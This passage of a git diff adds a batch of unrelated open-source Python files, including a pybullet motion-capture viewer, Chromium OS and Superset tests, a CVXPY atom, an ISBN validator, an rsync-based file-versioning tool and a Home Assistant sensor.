joint_fa = joint_info['father'][i] + if joint_info['side'][i] == 'right': + p.addUserDebugLine(lineFromXYZ=joint[i] + shift, + lineToXYZ=joint[joint_fa] + shift, + lineColorRGB=(255, 0, 0), + lineWidth=1, + lifeTime=duration) + else: + p.addUserDebugLine(lineFromXYZ=joint[i] + shift, + lineToXYZ=joint[joint_fa] + shift, + lineColorRGB=(0, 0, 0), + lineWidth=1, + lifeTime=duration) + + +dataset = init_fb_h36m_dataset(dataset_path) +ground_truth = pose3D_from_fb_h36m(dataset, subject=subject, action=action, shift=[1.0, 0.0, 0.0]) + +rot_seq = coord_seq_to_rot_seq(coord_seq=ground_truth, frame_duration=1 / fps) + +rot_seq_to_deepmimic_json(rot_seq=rot_seq, loop=loop, json_path=json_path) + +bc = BulletClient(connection_mode=pybullet.GUI) +bc.setAdditionalSearchPath(pybullet_data.getDataPath()) +bc.configureDebugVisualizer(bc.COV_ENABLE_Y_AXIS_UP, 1) +bc.setGravity(0, -9.8, 0) +motion = MotionCaptureData() + +motionPath = json_path +motion.Load(motionPath) +print("numFrames = ", motion.NumFrames()) + +simTimeId = bc.addUserDebugParameter("simTime", 0, motion.NumFrames() - 1.1, 0) + +y2zOrn = bc.getQuaternionFromEuler([-1.57, 0, 0]) +bc.loadURDF("plane.urdf", [0, -0.04, 0], y2zOrn) + +humanoid = Humanoid(bc, motion, [0, 0, 0]) #这是初始位置的坐标 + +print(p.getBasePositionAndOrientation(humanoid._humanoid)) + +simTime = 0 +keyFrameDuration = motion.KeyFrameDuraction() +print("keyFrameDuration=", keyFrameDuration) +for utNum in range(motion.NumFrames()): + bc.stepSimulation() + humanoid.RenderReference(utNum * keyFrameDuration) + if draw_gt: + draw_ground_truth(coord_seq=ground_truth, + frame=utNum, + duration=keyFrameDuration, + shift=[-1.0, 0.0, 1.0]) + time.sleep(0.001) +stage = 0 + + +def Reset(humanoid): + global simTime + humanoid.Reset() + simTime = 0 + humanoid.SetSimTime(simTime) + pose = humanoid.InitializePoseFromMotionData() + humanoid.ApplyPose(pose, True, True, humanoid._humanoid, bc) + + +Reset(humanoid) +p.disconnect() diff --git a/pool/shard000/Python/0007951_cros_best_revision_unittest.py b/pool/shard000/Python/0007951_cros_best_revision_unittest.py new file mode 100644 index 0000000000000000000000000000000000000000..889f288899c49202c1ea948bb1a8723472f724a0 --- /dev/null +++ b/pool/shard000/Python/0007951_cros_best_revision_unittest.py @@ -0,0 +1,129 @@ +#!/usr/bin/python +# Copyright (c) 2012 The Chromium OS Authors. All rights reserved. +# Use of this source code is governed by a BSD-style license that can be +# found in the LICENSE file. + +"""Unit tests for the cros_best_revision program.""" + +from __future__ import print_function + +import os +import sys + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.dirname( + os.path.abspath(__file__))))) + +from chromite.cbuildbot import cbuildbot_config +from chromite.cbuildbot import constants +from chromite.cbuildbot import manifest_version +from chromite.cbuildbot import tree_status +from chromite.lib import cros_build_lib_unittest +from chromite.lib import cros_test_lib +from chromite.lib import gs_unittest +from chromite.lib import osutils +from chromite.lib import partial_mock + +from chromite.scripts import cros_best_revision + + +class BaseChromeCommitterTest(cros_test_lib.MockTempDirTestCase): + """Base class for tests using cros_best_revision.ChromeCommitter.""" + + def setUp(self): + """Common set up method for all tests.""" + self.committer = cros_best_revision.ChromeCommitter(self.tempdir, False) + self.lkgm_file = os.path.join(self.tempdir, constants.PATH_TO_CHROME_LKGM) + self.pass_status = manifest_version.BuilderStatus( + constants.BUILDER_STATUS_PASSED, None) + self.fail_status = manifest_version.BuilderStatus( + constants.BUILDER_STATUS_FAILED, None) + + +# pylint: disable=W0212 +class ChromeGSTest(BaseChromeCommitterTest): + """Test cros_best_revision.ChromeCommitter version filtering.""" + + def testGetLatestCanaryVersions(self): + """Test that we correctly filter out non-canary and older versions.""" + output = '\n'.join(['2910.0.1', '2900.0.0', '2908.0.0', '2909.0.0', + '2910.0.0']) + # Only return 2 -- the 2 newest canary results. + cros_best_revision.ChromeCommitter._CANDIDATES_TO_CONSIDER = 2 + expected_output = ['2910.0.0', '2909.0.0'] + + self.committer._old_lkgm = '2905.0.0' + with gs_unittest.GSContextMock() as gs_mock: + gs_mock.AddCmdResult(partial_mock.In('ls'), output=output) + versions = self.committer._GetLatestCanaryVersions() + self.assertEqual(versions, expected_output) + + +class ChromeCommitterTester(cros_build_lib_unittest.RunCommandTestCase, + BaseChromeCommitterTest): + """Test cros_best_revision.Committer.""" + + canaries = ['a-release', 'b-release', 'c-release'] + versions = ['4.0.0', '3.0.0'] + + def testCheckoutChromeLKGM(self): + "Tests that we can read/obtain the old LKGM from mocked out SVN." + # Write out an old lkgm file as if we got it from svn update. + old_lkgm = '2098.0.0' + osutils.SafeMakedirs(os.path.dirname(self.lkgm_file)) + osutils.WriteFile(self.lkgm_file, old_lkgm) + self.committer.CheckoutChromeLKGM() + self.assertTrue(self.committer._old_lkgm, old_lkgm) + + def _TestFindNewLKGM(self, all_results, lkgm): + """Stubs out methods used by FindNewLKGM.""" + expected = {} + for canary, results in zip(self.canaries, all_results): + for version, status in zip(self.versions, results): + expected[(canary, version)] = status + def _GetBuildStatus(canary, version, **_): + return expected[(canary, version)] + self.PatchObject(self.committer, '_GetLatestCanaryVersions', + return_value=self.versions) + self.PatchObject(cbuildbot_config, 'GetCanariesForChromeLKGM', + return_value=self.canaries) + self.PatchObject(manifest_version.BuildSpecsManager, 'GetBuildStatus', + side_effect=_GetBuildStatus) + self.committer.FindNewLKGM() + self.assertTrue(self.committer._lkgm, lkgm) + + def testFindNewLKGMBasic(self): + """Tests that we return the highest version if all versions are good.""" + self._TestFindNewLKGM([[self.pass_status] * 2] * 3, '4.0.0') + + def testFindNewLKGMAdvanced(self): + """Tests that we return the only version with passing canaries.""" + self._TestFindNewLKGM([[self.fail_status, self.pass_status]] * 3, '3.0.0') + + def testFindNewLKGMWithFailures(self): + """Ensure we reject versions with failed builds. + + This test case is a bit more complex than the two above and tests the logic + where we want to reject versions with failed builds. + + In this example both versions have 2 passing builds. The older version + is missing a score from one builder where the newer version reports + a failure. In this instance, our scoring mechanism should choose the older + version. + """ + all_results = [[self.pass_status] * 2] * 2 + [[self.fail_status, None]] + self._TestFindNewLKGM(all_results, '3.0.0') + + def testCommitNewLKGM(self): + """Tests that we can commit a new LKGM file.""" + osutils.SafeMakedirs(os.path.dirname(self.lkgm_file)) + self.committer._lkgm = '4.0.0' + self.PatchObject(tree_status, 'IsTreeOpen', return_value=True) + self.committer.CommitNewLKGM() + + # Check the file was actually written out correctly. + self.assertEqual(osutils.ReadFile(self.lkgm_file), self.committer._lkgm) + self.assertCommandContains(['git', 'cl', 'land']) + + +if __name__ == '__main__': + cros_test_lib.main() diff --git a/pool/shard000/Python/0007952_unicode_dashboard.py b/pool/shard000/Python/0007952_unicode_dashboard.py new file mode 100644 index 0000000000000000000000000000000000000000..1f1218c8f7dbc17b751e9b6786d6a545847a8a11 --- /dev/null +++ b/pool/shard000/Python/0007952_unicode_dashboard.py @@ -0,0 +1,118 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +import pandas as pd +import pytest +from sqlalchemy import String + +from superset import db +from superset.connectors.sqla.models import SqlaTable +from superset.models.dashboard import Dashboard +from superset.models.slice import Slice +from superset.utils.core import get_example_database, get_example_default_schema +from tests.integration_tests.dashboard_utils import ( + create_dashboard, + create_slice, + create_table_metadata, +) +from tests.integration_tests.test_app import app + +UNICODE_TBL_NAME = "unicode_test" + + +@pytest.fixture(scope="session") +def load_unicode_data(): + with app.app_context(): + _get_dataframe().to_sql( + UNICODE_TBL_NAME, + get_example_database().get_sqla_engine(), + if_exists="replace", + chunksize=500, + dtype={"phrase": String(500)}, + index=False, + method="multi", + schema=get_example_default_schema(), + ) + + yield + with app.app_context(): + engine = get_example_database().get_sqla_engine() + engine.execute("DROP TABLE IF EXISTS unicode_test") + + +@pytest.fixture() +def load_unicode_dashboard_with_slice(load_unicode_data): + slice_name = "Unicode Cloud" + with app.app_context(): + dash = _create_unicode_dashboard(slice_name, None) + yield + _cleanup(dash, slice_name) + + +@pytest.fixture() +def load_unicode_dashboard_with_position(load_unicode_data): + slice_name = "Unicode Cloud" + position = "{}" + with app.app_context(): + dash = _create_unicode_dashboard(slice_name, position) + yield + _cleanup(dash, slice_name) + + +def _get_dataframe(): + data = _get_unicode_data() + return pd.DataFrame.from_dict(data) + + +def _get_unicode_data(): + return [ + {"phrase": "Под"}, + {"phrase": "řšž"}, + {"phrase": "視野無限廣"}, + {"phrase": "微風"}, + {"phrase": "中国智造"}, + {"phrase": "æøå"}, + {"phrase": "ëœéè"}, + {"phrase": "いろはにほ"}, + ] + + +def _create_unicode_dashboard(slice_title: str, position: str) -> Dashboard: + table = create_table_metadata(UNICODE_TBL_NAME, get_example_database()) + table.fetch_metadata() + + if slice_title: + slice = _create_and_commit_unicode_slice(table, slice_title) + + return create_dashboard("unicode-test", "Unicode Test", position, [slice]) + + +def _create_and_commit_unicode_slice(table: SqlaTable, title: str): + slice = create_slice(title, "word_cloud", table, {}) + o = db.session.query(Slice).filter_by(slice_name=slice.slice_name).one_or_none() + if o: + db.session.delete(o) + db.session.add(slice) + db.session.commit() + return slice + + +def _cleanup(dash: Dashboard, slice_name: str) -> None: + db.session.delete(dash) + if slice_name: + slice = db.session.query(Slice).filter_by(slice_name=slice_name).one_or_none() + db.session.delete(slice) + db.session.commit() diff --git a/pool/shard000/Python/0007954_local_plugin.py b/pool/shard000/Python/0007954_local_plugin.py new file mode 100644 index 0000000000000000000000000000000000000000..90ac7b07d40b6feac233a376077da935473c6fe5 --- /dev/null +++ b/pool/shard000/Python/0007954_local_plugin.py @@ -0,0 +1,35 @@ +# =============================================================================== +# Copyright 2019 ross +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# =============================================================================== +from pychron.envisage.tasks.base_plugin import BasePlugin +from pychron.git.hosts import IGitHost +from pychron.git.hosts.local import LocalGitHostService + + +class LocalGitPlugin(BasePlugin): + def _service_offers_default(self): + so = self.service_offer_factory(protocol=IGitHost, factory=self._factory) + + return [ + so, + ] + + def _factory(self): + c = LocalGitHostService() + c.bind_preferences() + return c + + +# ============= EOF ============================================= diff --git a/pool/shard000/Python/0007955_sigma_max.py b/pool/shard000/Python/0007955_sigma_max.py new file mode 100644 index 0000000000000000000000000000000000000000..33a7a9a676d23c8b73c55f889d2deb04d7b79e17 --- /dev/null +++ b/pool/shard000/Python/0007955_sigma_max.py @@ -0,0 +1,97 @@ +""" +Copyright 2013 Steven Diamond + +This file is part of CVXPY. + +CVXPY is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +CVXPY is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with CVXPY. If not, see . +""" + +import cvxpy.utilities as u +import cvxpy.lin_ops.lin_utils as lu +from cvxpy.atoms.atom import Atom +from cvxpy.atoms.affine.index import index +from cvxpy.atoms.affine.transpose import transpose +from cvxpy.constraints.semi_definite import SDP +import scipy.sparse as sp +from numpy import linalg as LA + +class sigma_max(Atom): + """ Maximum singular value. """ + def __init__(self, A): + super(sigma_max, self).__init__(A) + + @Atom.numpy_numeric + def numeric(self, values): + """Returns the largest singular value of A. + """ + return LA.norm(values[0], 2) + + def shape_from_args(self): + """Resolves to a scalar. + """ + return u.Shape(1, 1) + + def sign_from_args(self): + """Always positive. + """ + return u.Sign.POSITIVE + + def func_curvature(self): + """Default curvature. + """ + return u.Curvature.CONVEX + + def monotonicity(self): + """Neither increasing nor decreasing. + """ + return [u.monotonicity.NONMONOTONIC] + + @staticmethod + def graph_implementation(arg_objs, size, data=None): + """Reduces the atom to an affine expression and list of constraints. + + Parameters + ---------- + arg_objs : list + LinExpr for each argument. + size : tuple + The size of the resulting expression. + data : + Additional data required by the atom. + + Returns + ------- + tuple + (LinOp for objective, list of constraints) + """ + A = arg_objs[0] # n by m matrix. + n, m = A.size + # Create a matrix with Schur complement I*t - (1/t)*A.T*A. + X = lu.create_var((n+m, n+m)) + t = lu.create_var((1, 1)) + constraints = [] + # Fix X using the fact that A must be affine by the DCP rules. + # X[0:n, 0:n] == I_n*t + prom_t = lu.promote(t, (n, 1)) + index.block_eq(X, lu.diag_vec(prom_t), constraints, + 0, n, 0, n) + # X[0:n, n:n+m] == A + index.block_eq(X, A, constraints, + 0, n, n, n+m) + # X[n:n+m, n:n+m] == I_m*t + prom_t = lu.promote(t, (m, 1)) + index.block_eq(X, lu.diag_vec(prom_t), constraints, + n, n+m, n, n+m) + # Add SDP constraint. + return (t, constraints + [SDP(X)]) diff --git a/pool/shard000/Python/0007958_models.py b/pool/shard000/Python/0007958_models.py new file mode 100644 index 0000000000000000000000000000000000000000..3f7102f0f9607af69c91787bf66dadce3fcc9246 --- /dev/null +++ b/pool/shard000/Python/0007958_models.py @@ -0,0 +1,35 @@ +from app import db + +class User(db.Model): + id = db.Column(db.Integer, primary_key = True) + nickname = db.Column(db.String(64), index = True, unique = True) + email = db.Column(db.String(120), index = True, unique = True) + posts = db.relationship('Post', backref='author', lazy='dynamic') + + def is_authenticate(self): + return True + + def is_active(self): + return True; + + def is_anonymous(self): + return False + + def get_id(self): + try: + return unicode(self.idi) #python 2 + except NameError: + return str(self.id) # for python 3 + + def __repr__(self): + return '' % (self.nickname) + + +class Post(db.Model): + id = db.Column(db.Integer, primary_key = True) + body = db.Column(db.String(140)) + timestamp = db.Column(db.DateTime) + user_id = db.Column(db.Integer, db.ForeignKey('user.id')) + + def __repr__(self): + return '' % (self.body) diff --git a/pool/shard000/Python/0007962_search.py b/pool/shard000/Python/0007962_search.py new file mode 100644 index 0000000000000000000000000000000000000000..902620be6c48b7cfbf4e7dfd461ba50ab27ad8b4 --- /dev/null +++ b/pool/shard000/Python/0007962_search.py @@ -0,0 +1,74 @@ +import simplejson +import re +from itertools import cycle + +from django.core.urlresolvers import reverse + +from molly.apps.library.models import LibrarySearchQuery + +def validate_isxn(s): + + def encode(s): + return ''.join(str(d) if d < 10 else 'X' for d in s) + def decode(s): + return [10 if d=='X' else int(d) for d in s] + def isxn_checksum(s, initial=None): + if not initial: + initial = len(s) + cs = 0 + for d in s: + cs, initial = (cs + (d*initial)) % 11, initial - 1 + return cs + def ean_checksum(s): + return sum(d*m for d,m in zip(s, cycle([1,3]))) % 10 + + s = re.sub('[*#]', 'X', s.replace('-','').strip().upper()) + if not re.match("97[789]\d{10}|\d{7}(\d{2})?[\dX]$", s): + return None, None + s = decode(s) + + if len(s) == 13: + if ean_checksum(s) != 0: + return None, None + if s[2] == 7: + s = s[3:10] + [(11-isxn_checksum(s[3:10], initial=8)) % 11] + return encode(s), 'issn' + else: + return encode(s), 'isbn' + else: + cs, n = 0, len(s) + for d in s: + cs, n = (cs + (d*n)) % 11, n - 1 + if cs != 0: + return None, None + return encode(s), ('issn' if len(s) == 8 else 'isbn') + +# Application Search +class ApplicationSearch(object): + + def __init__(self, application): + self.conf = application + + def perform_search(self, request, query, only_app): + number, number_type = validate_isxn(query) + if not number_type: + return [] + else: + query = { + number_type: number + } + + query = LibrarySearchQuery(**query) + + results = [] + for item in self.conf.provider.library_search(query): + results.append({ + 'title': item.title, + 'redirect_if_sole_result': True, + 'application': 'library', + 'excerpt': '', + 'additional': 'Library item, Publisher: %s' % item.publisher, + 'url': reverse('library:item-detail', args=[item.control_number]), + }) + + return results diff --git a/pool/shard000/Python/0007965_insolater.py b/pool/shard000/Python/0007965_insolater.py new file mode 100644 index 0000000000000000000000000000000000000000..7f66289732f7852190b8f91e115d13774562452f --- /dev/null +++ b/pool/shard000/Python/0007965_insolater.py @@ -0,0 +1,201 @@ +from __future__ import absolute_import +from __future__ import print_function + +import os +import shutil +import subprocess +import getpass +import pexpect +from insolater import version_tools as vt + + +class Insolater(object): + _CMD = "inso" + _NOT_INIT_MESSAGE = "No session found. See '{cmd} init '".format(cmd=_CMD) + _ALREADY_INIT_MESSAGE = ( + "Already initialized. To end session use: {cmd} exit []".format(cmd=_CMD)) + + def __init__(self, repo=".insolater_repo", timeout=5, filepattern="."): + self.repo = os.path.normpath(repo) + self.timeout = timeout + self.filepattern = filepattern.split() + #TODO: _get_repo_path() + #: make an .inso_include file + #:: inso pattern [--add|set|clear|all] none + #: keep track of current version + #:: don't allow edits to ORIG + #::: either Update ORIG, Discard, Move to CHANGES, or Send to remote + #TODO: apply (merge changes into ORIG) + + def init(self, remote_changes=None): + """Create repo and store original files. Optionally retrieve version remotely.""" + self._verify_repo_exists(False) + vt.init(self.repo) + if remote_changes: + self.pull_version(remote_changes) + return "Initialized repository with versions: original" + + def current_version(self): + """Returns the current version.""" + self._verify_repo_exists(True) + return vt.current_version(self.repo) + + def all_versions(self): + self._verify_repo_exists(True) + return vt.all_versions(self.repo) + + def change_version(self, version): + """Save changes and switch to the specified version.""" + self._verify_repo_exists(True) + #TODO: save changes? when in original + if vt.current_version(self.repo) == 'original': + vt.save_version(self.repo, '_original_edit') + else: + vt.save_version(self.repo) + vt.open_version(self.repo, version) + if vt.current_version(self.repo) == version: + return "Switched to %s" % version + else: + return "Version not found: %s" % version + + def save_version(self, version='', overwrite=None): + """Save/create and open a version with the specified name. + Fails if version name starts with '_'. + Prompts if version already exists unless overwrite is set.""" + self._verify_repo_exists(True) + #TODO: better version name checking + cv = vt.current_version(self.repo) + version = version or cv + if version[0] == '_': + return "Invalid version name: %s" % version + if not vt.is_version(self.repo, version): + vt.save_version(self.repo, version) + vt.open_version(self.repo, version) + return "Version %s created and opened" % version + if overwrite is None: + discard = raw_input("Do you want to overwrite changes (y/[n]): ") + overwrite = discard.lower() != 'y' + if overwrite: + vt.save_version(self.repo, version) + vt.open_version(self.repo, version) + return "Version %s saved and opened" % version + return "Aborted to avoid overwriting." + + def delete_version(self, version): + """Delete the specified version. + Fail if the version does not exists, version is 'original' or it is the current version.""" + self._verify_repo_exists(True) + if not vt.is_version(self.repo, version): + return "Version not found: %s" % version + if vt.current_version(self.repo) == version: + return "Cannot delete current version: %s" % version + if version == 'original': + return "Cannot delete original version" + vt.delete_version(self.repo, version) + return "Version %s deleted" % version + + def pull_version(self, remote_changes, version=''): + """Pull remote changes into specified version. + If no version is specified pull into current version.""" + self._verify_repo_exists(True) + cv = vt.current_version(self.repo) + if version: + self.save_version(version) + self.change_version(version) + for f in os.listdir('.'): + if f != self.repo: + if os.path.isdir(f): + shutil.rmtree(f) + else: + os.remove(f) + retv = self._run("rsync -Pravdtze ssh {0}/* .".format(os.path.normpath(remote_changes)))[0] + if version != '' and version != cv: + self.change_version(cv) + if (retv != 0): + raise Exception("Failed to sync changes") + return "Pulled updates" + + def push_version(self, remote_location, version=''): + """Push specified version to remote location. + If no version is specified push the current version.""" + self._verify_repo_exists(True) + cv = vt.current_version(self.repo) + if version and version != cv: + if not vt.is_version(self.repo, version): + return "Version not found: %s" % version + self.change_version(version) + pswd = getpass.getpass(remote_location.split(':')[0] + "'s password:") + transfer_str = "" + for f in os.listdir('.'): + if f == self.repo: + continue + rsync = "rsync -R -Pravdtze ssh " + f + " " + remote_location + exitstatus = 0 + try: + exitstatus = self._run_with_password(rsync, pswd, self.timeout)[0] + except pexpect.TIMEOUT: + raise Exception("Aborted (File transfer timeouted out)") + finally: + self.change_version(cv) + if exitstatus != 0: + transfer_str += f + " \t\tFailed to transfer\n" + raise Exception(transfer_str + "Aborted (File transfer failed).") + transfer_str += f + " \t\ttransfered\n" + return transfer_str + + def exit(self, version='original', discard_changes=None): + """Open original or specified version files, and delete all other versions + (delete repo).""" + self._verify_repo_exists(True) + if not vt.is_version(self.repo, version): + return "Version not found: %s" % version + if discard_changes is None: + discard = raw_input("Do you want to discard all changes (y/[n]): ") + discard_changes = discard.lower() == 'y' + if not discard_changes: + return "Aborted to avoid discarding changes." + vt.open_version(self.repo, version) + shutil.rmtree(self.repo) + return "Session Ended" + + def _verify_repo_exists(self, exists): + """(may change pythons current directory). + raise an exception if the repo does not have the specfied state of being.""" + if exists: + if not os.path.exists(self.repo): + if os.getcwd() == '/': + raise Exception(Insolater._NOT_INIT_MESSAGE) + else: + os.chdir('..') + self._verify_repo_exists(exists) + else: + if os.path.exists(self.repo): + raise Exception(Insolater._ALREADY_INIT_MESSAGE) + + def _run(self, command): + """Replace instances of {repo} with self.repo and run the command.""" + command = command.format(repo=self.repo) + proc = subprocess.Popen(command, shell=True, stdin=subprocess.PIPE, + stdout=subprocess.PIPE, stderr=subprocess.PIPE) + out, err = proc.communicate() + exit_code = proc.poll() + return exit_code, out, err + + def _run_git(self, command): + """Runs git --git-dir={repo} command.""" + return self._run("git --git-dir={repo} " + command) + + def _run_git_add(self): + """Runs git --git-dir={repo} add -A for each filepattern.""" + sh = "" + for fp in self.filepattern: + sh += "git --git-dir={repo} add -A " + fp + ";".format(fp) + return self._run(sh) + + def _run_with_password(self, command, pswd, timeout=5): + """Replace instances of {repo} with self.repo and run the command using the password.""" + proc = pexpect.spawn(command.format(repo=self.repo)) + proc.expect('password:') + proc.sendline(pswd) + proc.expect(pexpect.EOF, timeout=timeout) + return proc.isalive(), proc.read(), '' diff --git a/pool/shard000/Python/0007968_elements.py b/pool/shard000/Python/0007968_elements.py new file mode 100644 index 0000000000000000000000000000000000000000..fbdacaf6b41f6f54dbc2cfff33ad72a500408ff4 --- /dev/null +++ b/pool/shard000/Python/0007968_elements.py @@ -0,0 +1,71 @@ +# -*- coding: utf-8 -*- + +from pyfr.solvers.baseadvec import BaseAdvectionElements + + +class BaseFluidElements(object): + privarmap = {2: ['rho', 'u', 'v', 'p'], + 3: ['rho', 'u', 'v', 'w', 'p']} + + convarmap = {2: ['rho', 'rhou', 'rhov', 'E'], + 3: ['rho', 'rhou', 'rhov', 'rhow', 'E']} + + visvarmap = { + 2: {'density': ['rho'], + 'velocity': ['u', 'v'], + 'pressure': ['p']}, + 3: {'density': ['rho'], + 'velocity': ['u', 'v', 'w'], + 'pressure': ['p']} + } + + @staticmethod + def pri_to_conv(pris, cfg): + rho, p = pris[0], pris[-1] + + # Multiply velocity components by rho + rhovs = [rho*c for c in pris[1:-1]] + + # Compute the energy + gamma = cfg.getfloat('constants', 'gamma') + E = p/(gamma - 1) + 0.5*rho*sum(c*c for c in pris[1:-1]) + + return [rho] + rhovs + [E] + + @staticmethod + def conv_to_pri(convs, cfg): + rho, E = convs[0], convs[-1] + + # Divide momentum components by rho + vs = [rhov/rho for rhov in convs[1:-1]] + + # Compute the pressure + gamma = cfg.getfloat('constants', 'gamma') + p = (gamma - 1)*(E - 0.5*rho*sum(v*v for v in vs)) + + return [rho] + vs + [p] + + +class EulerElements(BaseFluidElements, BaseAdvectionElements): + def set_backend(self, backend, nscalupts): + super().set_backend(backend, nscalupts) + + # Register our flux kernel + backend.pointwise.register('pyfr.solvers.euler.kernels.tflux') + + # Template parameters for the flux kernel + tplargs = dict(ndims=self.ndims, nvars=self.nvars, + c=self.cfg.items_as('constants', float)) + + if 'flux' in self.antialias: + self.kernels['tdisf'] = lambda: backend.kernel( + 'tflux', tplargs=tplargs, dims=[self.nqpts, self.neles], + u=self._scal_qpts, smats=self.smat_at('qpts'), + f=self._vect_qpts + ) + else: + self.kernels['tdisf'] = lambda: backend.kernel( + 'tflux', tplargs=tplargs, dims=[self.nupts, self.neles], + u=self.scal_upts_inb, smats=self.smat_at('upts'), + f=self._vect_upts + ) diff --git a/pool/shard000/Python/0007972_binary_sensor.py b/pool/shard000/Python/0007972_binary_sensor.py new file mode 100644 index 0000000000000000000000000000000000000000..fd28ff74cf4c534925365a40013f4fb9e7394419 --- /dev/null +++ b/pool/shard000/Python/0007972_binary_sensor.py @@ -0,0 +1,58 @@ +"""Reads vehicle status from StarLine API.""" +from homeassistant.components.binary_sensor import ( + BinarySensorDevice, + DEVICE_CLASS_DOOR, + DEVICE_CLASS_LOCK, + DEVICE_CLASS_PROBLEM, + DEVICE_CLASS_POWER, +) +from .account import StarlineAccount, StarlineDevice +from .const import DOMAIN +from .entity import StarlineEntity + +SENSOR_TYPES = { + "hbrake": ["Hand Brake", DEVICE_CLASS_POWER], + "hood": ["Hood", DEVICE_CLASS_DOOR], + "trunk": ["Trunk", DEVICE_CLASS_DOOR], + "alarm": ["Alarm", DEVICE_CLASS_PROBLEM], + "door": ["Doors", DEVICE_CLASS_LOCK], +} + + +async def async_setup_entry(hass, entry, async_add_entities): + """Set up the StarLine sensors.""" + account: StarlineAccount = hass.data[DOMAIN][entry.entry_id] + entities = [] + for device in account.api.devices.values(): + for key, value in SENSOR_TYPES.items(): + if key in device.car_state: + sensor = StarlineSensor(account, device, key, *value) + if sensor.is_on is not None: + entities.append(sensor) + async_add_entities(entities) + + +class StarlineSensor(StarlineEntity, BinarySensorDevice): + """Representation of a StarLine binary sensor.""" + + def __init__( + self, + account: StarlineAccount, + device: StarlineDevice, + key: str, + name: str, + device_class: str, + ): + """Constructor.""" + super().__init__(account, device, key, name) + self._device_class = device_class + + @property + def device_class(self): + """Return the class of the binary sensor.""" + return self._device_class + + @property + def is_on(self): + """Return the state of the binary sensor.""" + return self._device.car_state.get(self._key) diff --git a/pool/shard000/Python/0007975_main.py b/pool/shard000/Python/0007975_main.py new file mode 100644 index 0000000000000000000000000000000000000000..48e37bbd0cfd74bd02a0b3f917607f71f23189dc --- /dev/null +++ b/pool/shard000/Python/0007975_main.py @@ -0,0 +1,147 @@ +# +# main.py +# Main driver for WWW-Usenet interface +# +import os, sys, time +import chore +from chore.loadxml import XMLHandler, justascii +from chore.authen import Authen_mixin, Authen_Server_mixin +from chore.utils import uncharenc +from xml import sax +from get import GET_mixin +from post import POST_mixin + +# Tie our various handlers together +class App_Handler(chore.handlers.Chore_Handler, + GET_mixin, POST_mixin, Authen_mixin): + def __init__(self, conn, tup, approot): + + chore.handlers.Chore_Handler.__init__(self, conn, tup, approot, + (GET_mixin.__init__, POST_mixin.__init__, + Authen_mixin.__init__)) + +# Parse xiph.org XML directory +class DirLoader(XMLHandler): + def __init__(self, stations): + self.stations = stations + XMLHandler.__init__(self) + for path,typ,dest in ( + ( ("server_name",), "str", "server" ), + ( ("listen_url",), "str", "url" ), + ( ("server_type",), "str", "encoding" ), + ( ("bitrate",), "int0", "bitrate" ), + ): + self.dispatchers[path] = (typ, dest) + + # Another station; there can be multiple under one name, + # with various bitrates and encodings + def insert_elem(self, d): + s = d.get('server') + if not s: + # Malformed + return + s = uncharenc(s) + tup = (d['encoding'], d['bitrate'], d['url']) + if s in self.stations: + self.stations[s].append(tup) + else: + self.stations[s] = [tup] + +# Load our configuration file +# +# This includes configuring our config file elements, +# then processing the supplied file. +def load_cfg(fn): + + # A configurator + c = chore.config.Config() + + # Let the web network side add its config entries + chore.www.add_config(c) + + # Here's how our config file looks + c.onearg.add( ("dir",) ) + c.mults.add( ("dir",) ) + + # Parse the input + return c.load_cfg(fn) + +# Root of our app server +# +# stations{} - Map from station name to list of tuples: +# (encoding, bitrate, URL) +# urls{} - Map from URL to station name +class App(chore.server.Server, Authen_Server_mixin): + + def __init__(self, config): + # Let Chore handle most things + chore.server.Server.__init__(self, config, App_Handler); + + # Also authentication + Authen_Server_mixin.__init__(self) + self.authentication.append( Authen_mixin.auth_server ) + self.init_acct_server() + +# Load XML directory, xiph.org format +def load_xml(fn): + stations = {} + + f = open(fn, "r") + loader = DirLoader(stations) + sax.parse(f, loader) + f.close() + + return stations + +if __name__ == "__main__": + if len(sys.argv) != 2: + sys.stderr.write("Usage is: %s \n" % + (sys.argv[0],)) + sys.exit(1) + + # Create the server with config + app = App(load_cfg(sys.argv[1])) + + # All our tunable stations + app.stations = {} + + # Load our station directories + print "Loading station directories..." + for d in app.config['dir']: + print " ", d + + # URL; fetch XML via curl + if d.startswith('http'): + # Place into name based on last element of URL + parts = d.split('/') + destfn = 'var/' + parts[-1] + if not os.access(destfn, os.R_OK): + sys.stderr.write("Retrieving %s into %s...\n" % (d, destfn)) + urllib.urlretrieve(d, destfn) + sys.stderr.write(" ...done\n") + + # Load the XML from that URL + res = load_xml(destfn) + + else: + + # Load local file + res = load_xml(d) + + # Roll them in + app.stations.update(res) + + # Create set of URL's for verifying before getting metadata + urls = app.urls = {} + for sname,tups in app.stations.iteritems(): + for tup in tups: + urls[tup[2]] = sname + + # It's an HTTP service + app.start_http() + + # HTTP servers each get their own thread. + # We could run a CLI here and like, dunno, + # do stuff? + while True: + time.sleep(60) diff --git a/pool/shard000/Python/0007977_pillar_roots.py b/pool/shard000/Python/0007977_pillar_roots.py new file mode 100644 index 0000000000000000000000000000000000000000..aad744ac387a220fb2503f6942aaaa39610cd0f0 --- /dev/null +++ b/pool/shard000/Python/0007977_pillar_roots.py @@ -0,0 +1,146 @@ +# -*- coding: utf-8 -*- +''' +The `pillar_roots` wheel module is used to manage files under the 